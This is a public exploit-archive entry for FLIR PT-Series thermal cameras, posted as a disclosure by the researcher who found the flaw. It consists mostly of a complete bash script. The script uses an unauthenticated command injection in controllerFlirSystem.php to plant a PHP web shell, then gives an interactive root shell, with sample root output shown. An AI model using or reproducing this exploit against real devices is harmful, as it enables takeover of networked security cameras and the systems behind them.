FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root

2017.09.26

Credit: **Gjoko 'LiquidWorm' Krstic (https://cxsecurity.com/author/Gjoko+%26%23039%3BLiquidWorm%26%23039%3B+Krstic/1/)**

Risk: **High** | Local: **No** | Remote: **Yes**

CVE: **N/A** | CWE: **N/A**

```
#!/bin/bash
#
#
# FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote R
oot Exploit
#
#
# Vendor: FLIR Systems, Inc.
# Product web page: http://www.flir.com
# Affected version: Firmware version: 8.0.0.64
#                   Software version: 10.0.2.43
#                   Release: 1.3.4 GA, 1.3.3 GA and 1.3.2
#
# Summary: FLIR's PT-Series of high-performance, multi-sensor pan/til
t cameras
# bring thermal and visible-light imaging together in a system that g
ives you
# video and control over both IP and analog networks. The PT-Series'
precision
# pan/tilt mechanism gives you accurate pointing control while provid
ing fully
# programmable scan patterns, radar slew-to-cue, and slew-to-alarm fu
nctions.
```

```
# PT-Series cameras define a new standard of performance with five mo
dels that
# provide full 640x480 thermal resolution.
#
# Desc: FLIR Camera PT-Series suffers from multiple unauthenticated r
emote command
# injection vulnerabilities. The vulnerability exist due to several P
OST parameters
# in controllerFlirSystem.php script when calling the execFlirSystem
() function not
# being sanitized when using the shell_exec() PHP function while upda
ting the network
# settings on the affected device. This allows the attacker to execut
e arbitrary system
# commands as the root user and bypass access controls in place.
#
# =======================================================
#
# bash-3.2$ ./flir0.sh 10.0.0.10 8088
#
# Probing target: http://10.0.0.10:8088
#
# Status: 200
# Target seems OK!
# You got shell!
# Ctrl+C to exit.
#
# [root@FLIR ~]# id;pwd;uname -a
# uid=0(root) gid=0(root)
# /var/www/data/maintenance
# Linux FLIR 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082 #1 Wed May 1
12:25:27 PDT 2013 armv5tejl unknown
# [root@FLIR ~]# ^C
# bash-3.2$
#
# =======================================================
#
# Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
#            Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
#            Nexus Server/2.5.29.0
```

```
#            Nexus Server/2.5.14.0
#            Nexus Server/2.5.13.0
#            lighttpd/1.4.28
#            PHP/5.4.7
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                              @zeroscience
#
#
# Advisory ID: ZSL-2017-5438
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-201
7-5438.php
#
#
# 23.03.2017
#


set -euo pipefail
IFS=$'\n\t'

if [ "$#" -ne 2 ]; then
        echo -e "Usage: $0 ipaddr port\\n"
        exit 1
fi

ip=$1
port=$2
echo -e "\\nProbing target: http://$ip:$port\\n"

payload="dns%5Bdhcp%5D=%60echo+\"<?php+system(\\\\\\$_GET['c']);?>\">t
est.php%60&dns%5Bserver1%5D=8.8.8.8&dns%5Bserver2%5D="
htcode=$(curl -Is -G http://"$ip":"$port"/maintenance/controllerFlirS
ystem.php -d"$payload" 2>/dev/null | head -1 | awk -F" " '{print
$2}')

echo -ne "Status: "; echo "$htcode"

if [ "$htcode" == "200" ]; then
```

```
        echo "Target seems OK!"
else
        echo "Ajdee...something went wrong. Check your target."
        exit 1
fi

echo -e "You got shell!\\nCtrl+C to exit.\\n"

while true; do
        echo -ne "\\033[31m";
        read -rp "[root@FLIR ~]# " cmd
        echo -ne "\\033[00m";
        shell="http://$ip:$port/maintenance/test.php?c=${cmd// /+}"
        curl "$shell"
done
```

See this note in RAW Version (https://cxsecurity.com/ascii/WLB-2017090203)

Post

Vote for this issue: 1 0

100%

Comment it here.

Nick (*)

Nick

Email (*)

Email

Video

Link to Youtube

Text (*)